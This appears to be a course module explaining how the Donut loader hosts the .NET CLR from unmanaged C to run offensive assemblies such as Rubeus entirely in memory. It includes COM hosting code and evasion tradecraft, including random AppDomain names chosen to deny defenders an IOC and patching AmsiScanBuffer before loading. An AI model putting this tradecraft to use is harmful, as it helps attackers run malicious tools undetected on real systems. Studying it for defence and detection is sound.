Module 3: .NET CLR Hosting
How Donut loads the Common Language Runtime from unmanaged code and executes .NET assemblies entirely in memory via inmem_dotnet.c.
Module Objective
Understand how the .NET Common Language Runtime (CLR) can be loaded and controlled from unmanaged C code using COM hosting interfaces, how Donut creates an AppDomain and invokes Assembly::Load to execute .NET payloads without touching disk, and the differences between CLR v2 and v4 hosting APIs.
1. The .NET Execution Problem
Offensive tools written in C# (Seatbelt, Rubeus, SharpHound, etc.) are .NET assemblies. Running them normally requires the .NET runtime, which is typically invoked by the Windows loader when the PE’s COM directory indicates it is a managed binary. But in an injection scenario, you need to:
- Execute .NET code inside an unmanaged process (one that doesn’t already host the CLR)
- Load the assembly from a byte array in memory (not from a file path on disk)
- Pass command-line arguments to the assembly’s entry point
- Control the AppDomain to isolate execution and clean up afterward
Donut solves this by embedding a CLR host in its PIC loader. The loader bootstraps the entire .NET runtime, loads the assembly from the decrypted DONUT_MODULE buffer, and invokes the entry point — all from position-independent C code.
2. CLR Hosting Interfaces
Microsoft provides COM-based interfaces for hosting the CLR from unmanaged code. There are two generations of these APIs:
| API Generation | CLR Versions | Key Interface | Header |
|---|---|---|---|
| Legacy (v2) | .NET 2.0, 3.0, 3.5 | ICorRuntimeHost | mscoree.h |
| Modern (v4) | .NET 4.0+ | ICLRMetaHost + ICLRRuntimeInfo | metahost.h |
Donut supports both. It reads the .NET assembly’s metadata to determine which runtime version is required, then uses the appropriate hosting API. For .NET 4.x assemblies, it uses the ICLRMetaHost chain; for older assemblies, it falls back to CorBindToRuntime.
3. The CLR v4 Hosting Chain
For modern .NET assemblies, Donut follows this sequence of COM interface calls:
CLR v4 Hosting Pipeline
Get ICLRMetaHost
Get ICLRRuntimeInfo
Get ICorRuntimeHost
Initialize CLR
AppDomain
C// Step 1: Get ICLRMetaHost via CLRCreateInstance
ICLRMetaHost *meta = NULL;
CLRCreateInstance(
&CLSID_CLRMetaHost,
&IID_ICLRMetaHost,
(LPVOID*)&meta
);
// Step 2: Get ICLRRuntimeInfo for the target runtime version
ICLRRuntimeInfo *info = NULL;
meta->lpVtbl->GetRuntime(
meta,
L"v4.0.30319", // Runtime version string from assembly metadata
&IID_ICLRRuntimeInfo,
(LPVOID*)&info
);
// Step 3: Get ICorRuntimeHost from the runtime info
ICorRuntimeHost *host = NULL;
info->lpVtbl->GetInterface(
info,
&CLSID_CorRuntimeHost,
&IID_ICorRuntimeHost,
(LPVOID*)&host
);
// Step 4: Start the CLR
host->lpVtbl->Start(host);
Why ICorRuntimeHost Instead of ICLRRuntimeHost?
Donut uses ICorRuntimeHost (not ICLRRuntimeHost) even in the v4 path because ICorRuntimeHost provides the CreateDomain method that returns an IUnknown pointer to the AppDomain. From this, Donut can QueryInterface for _AppDomain, which exposes the Load_3 method needed for byte-array assembly loading.
4. AppDomain Creation
Rather than using the default AppDomain, Donut creates a new, named AppDomain. This provides isolation and allows cleanup after execution:
C// Create a new AppDomain with a random name
IUnknown *domain_unk = NULL;
host->lpVtbl->CreateDomain(
host,
inst->wAppDomainName, // Random name from DONUT_INSTANCE
NULL, // No evidence
&domain_unk
);
// Query for the _AppDomain interface
_AppDomain *domain = NULL;
domain_unk->lpVtbl->QueryInterface(
domain_unk,
&IID__AppDomain,
(LPVOID*)&domain
);
AppDomain Naming
Donut generates a random name for the AppDomain (stored in DONUT_INSTANCE.wAppDomainName). This avoids using a recognizable name that defenders could use as an IOC. Some early Donut versions used a fixed name, which became a well-known detection vector.
5. Loading the Assembly from Memory
The critical step: loading a .NET assembly from a raw byte array in memory, bypassing the filesystem entirely. This uses the _AppDomain::Load_3 method, which accepts a SAFEARRAY of bytes:
C// Create a SAFEARRAY containing the assembly bytes
SAFEARRAYBOUND bound;
bound.lLbound = 0;
bound.cElements = assembly_size; // Size of .NET assembly
SAFEARRAY *sa = SafeArrayCreate(VT_UI1, 1, &bound);
// Copy the decrypted assembly bytes into the SAFEARRAY
void *sa_data = NULL;
SafeArrayAccessData(sa, &sa_data);
memcpy(sa_data, assembly_bytes, assembly_size);
SafeArrayUnaccessData(sa);
// Load the assembly into the AppDomain
_Assembly *assembly = NULL;
domain->lpVtbl->Load_3(
domain,
sa, // SAFEARRAY of bytes
&assembly // Receives _Assembly pointer
);
// Clean up the SAFEARRAY
SafeArrayDestroy(sa);
This is the equivalent of calling System.Reflection.Assembly.Load(byte[]) in C#, but done entirely through COM vtable calls from unmanaged C code.
6. Invoking the Entry Point
Once the assembly is loaded, Donut invokes it differently depending on whether it is an EXE or DLL:
6.1 .NET EXE (Has Main Method)
C// Get the entry point from the assembly
_MethodInfo *entry = NULL;
assembly->lpVtbl->get_EntryPoint(assembly, &entry);
// Build argument array (SAFEARRAY of strings)
SAFEARRAYBOUND args_bound;
args_bound.lLbound = 0;
args_bound.cElements = 1; // One element: the args string array
SAFEARRAY *args = SafeArrayCreate(VT_VARIANT, 1, &args_bound);
// The single element is itself a SAFEARRAY of BSTRs (the command-line args)
VARIANT v;
v.vt = VT_ARRAY | VT_BSTR;
v.parray = string_args_safearray; // SAFEARRAY of BSTR arguments
LONG idx = 0;
SafeArrayPutElement(args, &idx, &v);
// Invoke the entry point
VARIANT result;
VariantInit(&result);
entry->lpVtbl->Invoke_3(entry, v_null, args, &result);
6.2 .NET DLL (Specific Class and Method)
C// For DLLs, Donut needs a class name and method name from DONUT_MODULE
// e.g., class = "Rubeus.Program", method = "Main"
_Type *type = NULL;
BSTR class_name = SysAllocString(mod->cls); // From DONUT_MODULE
assembly->lpVtbl->GetType_2(assembly, class_name, &type);
// Invoke the static method with arguments
BSTR method_name = SysAllocString(mod->method);
VARIANT result;
type->lpVtbl->InvokeMember_3(
type, method_name,
BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public,
NULL, v_null, args, &result
);
7. CLR v2 Fallback Path
For assemblies targeting .NET 2.0/3.5, the ICLRMetaHost API may not be available (on older systems) or the target runtime may be v2. Donut falls back to the legacy CorBindToRuntime function:
C// Legacy path: bind directly to the v2 runtime
ICorRuntimeHost *host = NULL;
CorBindToRuntime(
L"v2.0.50727", // CLR version
L"wks", // Workstation GC
&CLSID_CorRuntimeHost,
&IID_ICorRuntimeHost,
(LPVOID*)&host
);
// From here, the flow is identical: Start(), CreateDomain(), Load_3(), Invoke()
Runtime Version Detection
Donut determines the required CLR version by reading the .NET assembly’s metadata. Specifically, it parses the IMAGE_COR20_HEADER (COM descriptor) and the metadata tables to find the target framework version. This information is stored in the DONUT_MODULE structure so the loader knows which runtime version string to pass.
8. The Complete .NET Loading Flow
Donut .NET Execution Pipeline (inmem_dotnet.c)
Chaskey CTR
Patch AmsiScanBuffer
ICLRMetaHost chain
Random name
SAFEARRAY bytes
Entry / Method
Notice that Donut patches AMSI before loading the assembly. This is critical because AMSI scans occur during Assembly::Load — if AMSI is not neutralized first, the assembly can be flagged before it even begins execution.
9. Handling Already-Loaded CLR
If the target process already hosts the CLR (e.g., a PowerShell process or a .NET application), Donut handles this gracefully. The ICLRMetaHost::EnumerateInstalledRuntimes or GetRuntime call will succeed for the already-loaded version. Starting an already-started CLR via Start() is a no-op and returns S_FALSE, which Donut treats as success.
Key Insight: COM Interface Pattern
The entire .NET hosting API is COM-based. Donut’s PIC loader calls these interfaces through vtable pointers (e.g., host->lpVtbl->Start(host)). This is the standard C pattern for calling COM interfaces without C++ virtual dispatch. The GUIDs (CLSID_CLRMetaHost, IID_ICorRuntimeHost, etc.) are hardcoded in the loader or stored in DONUT_INSTANCE.
Knowledge Check
1. Which method does Donut use to load a .NET assembly from a byte array in memory?
_AppDomain::Load_3, which accepts a SAFEARRAY of VT_UI1 (bytes) containing the raw assembly data. This is the COM equivalent of Assembly.Load(byte[]) in C#.2. Why does Donut create a new AppDomain instead of using the default one?
3. Why must AMSI be bypassed before calling Assembly::Load?
Assembly::Load is called, the CLR passes the assembly bytes to AmsiScanBuffer for scanning. If the assembly matches a malicious signature, the load is blocked. Donut patches AmsiScanBuffer before loading to prevent this.